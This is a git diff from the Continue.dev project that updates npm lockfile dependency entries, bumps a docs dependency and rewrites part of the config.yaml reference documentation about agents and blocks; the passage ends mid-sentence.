"sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "license": "BlueOak-1.0.0", + "peer": true, + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC", + "peer": true + }, "node_modules/path-to-regexp": { "version": "0.1.12", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz", @@ -11120,7 +11932,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -11192,9 +12003,9 @@ } }, "node_modules/protobufjs": { - "version": "7.5.3", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.3.tgz", - "integrity": "sha512-sildjKwVqOI2kmFDiXQ6aEB0fjYTafpEvIBs8tOR8qI4spuL9OPROLVu2qZqi/xgCfsHIwVqlaF8JBjWFHnKbw==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz", + "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==", "hasInstallScript": true, "license": "BSD-3-Clause", "dependencies": { @@ -11545,6 +12356,13 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/reflect-metadata": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz", + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0", + "peer": true + }, "node_modules/reflect.getprototypeof": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", @@ -11870,26 +12688,26 @@ } }, "node_modules/require-in-the-middle": { - "version": "7.5.2", - "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-7.5.2.tgz", - "integrity": "sha512-gAZ+kLqBdHarXB64XpAe2VCjB7rIRv+mU8tfRWziHRJ5umKsIHN2tLLv6EtMw7WCdP19S0ERVMldNvxYCHnhSQ==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz", + "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==", "license": "MIT", + "peer": true, "dependencies": { "debug": "^4.3.5", - "module-details-from-path": "^1.0.3", - "resolve": "^1.22.8" + "module-details-from-path": "^1.0.3" }, "engines": { - "node": ">=8.6.0" + "node": ">=9.3.0 || >=8.10.0 <9.0.0" } }, "node_modules/resolve": { - "version": "1.22.10", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz", - "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==", + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", "license": "MIT", "dependencies": { - "is-core-module": "^2.16.0", + "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -12019,9 +12837,9 @@ } }, "node_modules/rou3": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/rou3/-/rou3-0.6.3.tgz", - "integrity": "sha512-1HSG1ENTj7Kkm5muMnXuzzfdDOf7CFnbSYFA+H3Fp/rB9lOCxCPgy1jlZxTKyFoC5jJay8Mmc+VbPLYRjzYLrA==", + "version": "0.7.10", + "resolved": "https://registry.npmjs.org/rou3/-/rou3-0.7.10.tgz", + "integrity": "sha512-aoFj6f7MJZ5muJ+Of79nrhs9N3oLGqi2VEMe94Zbkjb6Wupha46EuoYgpWSOZlXww3bbd8ojgXTAA2mzimX5Ww==", "license": "MIT" }, "node_modules/run-async": { @@ -12079,7 +12897,6 @@ "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true, "funding": [ { "type": "github", @@ -12276,7 +13093,6 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", - "dev": true, "license": "MIT", "dependencies": { "define-data-property": "^1.1.4", @@ -12328,6 +13144,27 @@ "dev": true, "license": "ISC" }, + "node_modules/sha.js": { + "version": "2.4.12", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz", + "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==", + "license": "(MIT AND BSD-3-Clause)", + "peer": true, + "dependencies": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1", + "to-buffer": "^1.2.0" + }, + "bin": { + "sha.js": "bin.js" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/sharp": { "version": "0.33.5", "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz", @@ -12368,6 +13205,29 @@ "@img/sharp-win32-x64": "0.33.5" } }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "peer": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, "node_modules/shiki": { "version": "3.7.0", "resolved": "https://registry.npmjs.org/shiki/-/shiki-3.7.0.tgz", @@ -12385,12 +13245,6 @@ "@types/hast": "^3.0.4" } }, - "node_modules/shimmer": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz", - "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==", - "license": "BSD-2-Clause" - }, "node_modules/side-channel": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", @@ -12504,6 +13358,12 @@ "devOptional": true, "license": "MIT" }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "license": "MIT" + }, "node_modules/slice-ansi": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.0.tgz", @@ -12735,6 +13595,23 @@ "dev": true, "license": "BSD-3-Clause" }, + "node_modules/sql-highlight": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/sql-highlight/-/sql-highlight-6.1.0.tgz", + "integrity": "sha512-ed7OK4e9ywpE7pgRMkMQmZDPKSVdm0oX5IEtZiKnFucSF0zu6c80GZBe38UqHuVhTWJ9xsKgSMjCG2bml86KvA==", + "funding": [ + "https://github.com/scriptcoded/sql-highlight?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/scriptcoded" + } + ], + "license": "MIT", + "peer": true, + "engines": { + "node": ">=14" + } + }, "node_modules/stack-utils": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", @@ -12822,6 +13699,62 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT", + "peer": true + }, + "node_modules/string-width-cjs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/string.prototype.trim": { "version": "1.2.10", "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", @@ -12900,7 +13833,6 @@ "version": "7.1.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", - "dev": true, "license": "MIT", "dependencies": { "ansi-regex": "^6.0.1" @@ -12912,6 +13844,30 @@ "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, "node_modules/strip-bom-string": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", @@ -12966,12 +13922,12 @@ } }, "node_modules/superjson": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.2.tgz", - "integrity": "sha512-5JRxVqC8I8NuOUjzBbvVJAKNM8qoVuH0O77h4WInc/qC2q5IreqKxYwgkga3PfA22OayK2ikceb/B26dztPl+Q==", + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.5.tgz", + "integrity": "sha512-zWPTX96LVsA/eVYnqOM2+ofcdPqdS1dAF1LN4TS2/MWuUpfitd9ctTa87wt4xrYnZnkLtS69xpBdSxVBP5Rm6w==", "license": "MIT", "dependencies": { - "copy-anything": "^3.0.2" + "copy-anything": "^4" }, "engines": { "node": ">=16" @@ -12989,6 +13945,18 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/tagged-tag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz", + "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==", + "license": "MIT", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/tar": { "version": "6.2.1", "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", @@ -13066,6 +14034,21 @@ "tinycolor2": "^1.6.0" } }, + "node_modules/to-buffer": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz", + "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==", + "license": "MIT", + "peer": true, + "dependencies": { + "isarray": "^2.0.5", + "safe-buffer": "^5.2.1", + "typed-array-buffer": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -13166,7 +14149,6 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", - "dev": true, "license": "MIT", "dependencies": { "call-bound": "^1.0.3", @@ -13240,6 +14222,141 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/typeorm": { + "version": "0.3.27", + "resolved": "https://registry.npmjs.org/typeorm/-/typeorm-0.3.27.tgz", + "integrity": "sha512-pNV1bn+1n8qEe8tUNsNdD8ejuPcMAg47u2lUGnbsajiNUr3p2Js1XLKQjBMH0yMRMDfdX8T+fIRejFmIwy9x4A==", + "license": "MIT", + "peer": true, + "dependencies": { + "@sqltools/formatter": "^1.2.5", + "ansis": "^3.17.0", + "app-root-path": "^3.1.0", + "buffer": "^6.0.3", + "dayjs": "^1.11.13", + "debug": "^4.4.0", + "dedent": "^1.6.0", + "dotenv": "^16.4.7", + "glob": "^10.4.5", + "sha.js": "^2.4.12", + "sql-highlight": "^6.0.0", + "tslib": "^2.8.1", + "uuid": "^11.1.0", + "yargs": "^17.7.2" + }, + "bin": { + "typeorm": "cli.js", + "typeorm-ts-node-commonjs": "cli-ts-node-commonjs.js", + "typeorm-ts-node-esm": "cli-ts-node-esm.js" + }, + "engines": { + "node": ">=16.13.0" + }, + "funding": { + "url": "https://opencollective.com/typeorm" + }, + "peerDependencies": { + "@google-cloud/spanner": "^5.18.0 || ^6.0.0 || ^7.0.0", + "@sap/hana-client": "^2.14.22", + "better-sqlite3": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0 || ^12.0.0", + "ioredis": "^5.0.4", + "mongodb": "^5.8.0 || ^6.0.0", + "mssql": "^9.1.1 || ^10.0.1 || ^11.0.1", + "mysql2": "^2.2.5 || ^3.0.1", + "oracledb": "^6.3.0", + "pg": "^8.5.1", + "pg-native": "^3.0.0", + "pg-query-stream": "^4.0.0", + "redis": "^3.1.1 || ^4.0.0 || ^5.0.14", + "reflect-metadata": "^0.1.14 || ^0.2.0", + "sql.js": "^1.4.0", + "sqlite3": "^5.0.3", + "ts-node": "^10.7.0", + "typeorm-aurora-data-api-driver": "^2.0.0 || ^3.0.0" + }, + "peerDependenciesMeta": { + "@google-cloud/spanner": { + "optional": true + }, + "@sap/hana-client": { + "optional": true + }, + "better-sqlite3": { + "optional": true + }, + "ioredis": { + "optional": true + }, + "mongodb": { + "optional": true + }, + "mssql": { + "optional": true + }, + "mysql2": { + "optional": true + }, + "oracledb": { + "optional": true + }, + "pg": { + "optional": true + }, + "pg-native": { + "optional": true + }, + "pg-query-stream": { + "optional": true + }, + "redis": { + "optional": true + }, + "sql.js": { + "optional": true + }, + "sqlite3": { + "optional": true + }, + "ts-node": { + "optional": true + }, + "typeorm-aurora-data-api-driver": { + "optional": true + } + } + }, + "node_modules/typeorm/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "peer": true, + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/typeorm/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD", + "peer": true + }, "node_modules/unbox-primitive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", @@ -13540,6 +14657,20 @@ "node": ">= 0.4.0" } }, + "node_modules/uuid": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", + "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "peer": true, + "bin": { + "uuid": "dist/esm/bin/uuid" + } + }, "node_modules/vary": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", @@ -13639,6 +14770,22 @@ "webidl-conversions": "^3.0.0" } }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "peer": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/which-boxed-primitive": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", @@ -13710,7 +14857,6 @@ "version": "1.1.19", "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz", "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", - "dev": true, "license": "MIT", "dependencies": { "available-typed-arrays": "^1.0.7", @@ -13768,6 +14914,96 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT", + "peer": true + }, + "node_modules/wrap-ansi-cjs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -13978,9 +15214,9 @@ } }, "node_modules/zustand": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.6.tgz", - "integrity": "sha512-ihAqNeUVhe0MAD+X8M5UzqyZ9k3FFZLBTtqo6JLPwV53cbRB/mJwBI0PxcIgqhBBHlEs8G45OTDTMq3gNcLq3A==", + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.8.tgz", + "integrity": "sha512-gyPKpIaxY9XcO2vSMrLbiER7QMAMGOQZVRdJ6Zi782jkbzZygq5GI9nG8g+sMgitRtndwaBSl7uiqC49o1SSiw==", "license": "MIT", "engines": { "node": ">=12.20.0" diff --git a/docs/package.json b/docs/package.json index 2ff504d1c..2967f4ba1 100644 --- a/docs/package.json +++ b/docs/package.json @@ -16,6 +16,6 @@ "mintlify": "^4.2.3" }, "dependencies": { - "@c15t/react": "^1.4.4" + "@c15t/react": "^1.6.1" } } diff --git a/docs/reference.mdx b/docs/reference.mdx index 2738d55e9..2933ea3ac 100644 --- a/docs/reference.mdx +++ b/docs/reference.mdx @@ -1,136 +1,23 @@ --- title: "config.yaml Reference" -description: "Comprehensive guide to the config.yaml format used by Continue.dev for building custom coding agents. Learn how to define models, context providers, rules, prompts, and more using reusable blocks and YAML configuration." +description: "Comprehensive guide to the config.yaml format used by Continue.dev for building custom coding agents. Learn how to define models, context providers, rules, prompts, and more using YAML configuration." --- ## Introduction -Continue hub agents are defined using the `config.yaml` specification. Agents can be loaded from [the Hub](https://hub.continue.dev/explore/agents) or locally +Continue Agents are defined using the `config.yaml` specification. -- [Continue Hub](https://hub.continue.dev/explore/agents) - YAML is stored on the hub and automatically synced to the extension +**Agents** are composed of models, rules, and tools (MCP servers). -- Locally - - in your global `.continue` folder (`~/.continue` on Mac, `%USERPROFILE%\.continue`) within `.continue/agents`. The name of the file will be used as the display name of the agent, e.g. `My Agent.yaml` - - in your workspace in a `/.continue/agents` folder, with the same naming convention + + +Learn how to work with Continue's configuration system, including using hub models, rules, and tools, creating local configurations, and organizing your setup. + - - Config YAML replaces `config.json`, which is deprecated. View the **[Migration - Guide](/reference/yaml-migration)**. - - -An agent is made up of: - -1. **Top level properties**, which specify the `name`, `version`, and `config.yaml` `schema` for the agent -2. **Block lists**, which are composable arrays of coding agent building blocks available to the agent, such as models, docs, and context providers. - -A block is a single standalone building block of a coding agents, e.g., one model or one documentation source. In `config.yaml` syntax, a block consists of the same top-level properties as agents (`name`, `version`, and `schema`), but only has **ONE** item under whichever block type it is. - -Examples of blocks and agents can be found on the [Continue Hub](https://hub.continue.dev). - -Agents can either explicitly define blocks - see [Properties](#properties) below - or import and configure existing hub blocks. - -### Using Blocks - -Hub blocks and agents are identified with a slug in the format `owner-slug/block-or-agent-slug`, where an owner can be a user or organization (For example, if you want to use the [OpenAI 4o Model block](https://hub.continue.dev/openai/gpt-4o), your slug would be `openai/gpt-4o`). These blocks are pulled from [https://hub.continue.dev](https://hub.continue.dev). - -Blocks can be imported into an agent by adding a `uses` clause under the block type. This can be alongside other `uses` clauses or explicit blocks of that type. - -For example, the following agent imports an Anthropic model and defines an Ollama DeepSeek one. - -Agent models section - -```yaml -name: Team Agent -version: 1.0.0 -schema: v1 - -models: - - uses: anthropic/claude-3.5-sonnet # an imported model block - - model: deepseek-reasoner # an explicit model block - provider: ollama -``` - -### Local Blocks - -It is also possible to define blocks locally in a `.continue` folder. This folder can be located at either the root of your workspace (these will automatically be applied to all agents when you are in that workspace) or in your home directory at `~/.continue` (these will automatically be applied globally). - -Place your YAML files in the following folders: - -Agents: - -- `.continue/agents` - for agents - -Blocks: - -- `.continue/rules` - for rules -- `.continue/models` - for models -- `.continue/prompts` - for prompts -- `.continue/context` - for context providers -- `.continue/docs` - for docs -- `.continue/data` - for data -- `.continue/mcpServers` - for MCP Servers - -You can find many examples of each of these block types on the [Continue Explore Page](https://hub.continue.dev/explore/models) - - -Local blocks utilizing mustache notation for secrets (`${{ secrets.SECRET_NAME }}`) can read secret values: - -- globally, from a `.env` located in the global `.continue` folder (`~/.continue/.env`) -- per-workspace, from a `.env` file located at the root of the current workspace. - - - -### Inputs - -Blocks can be 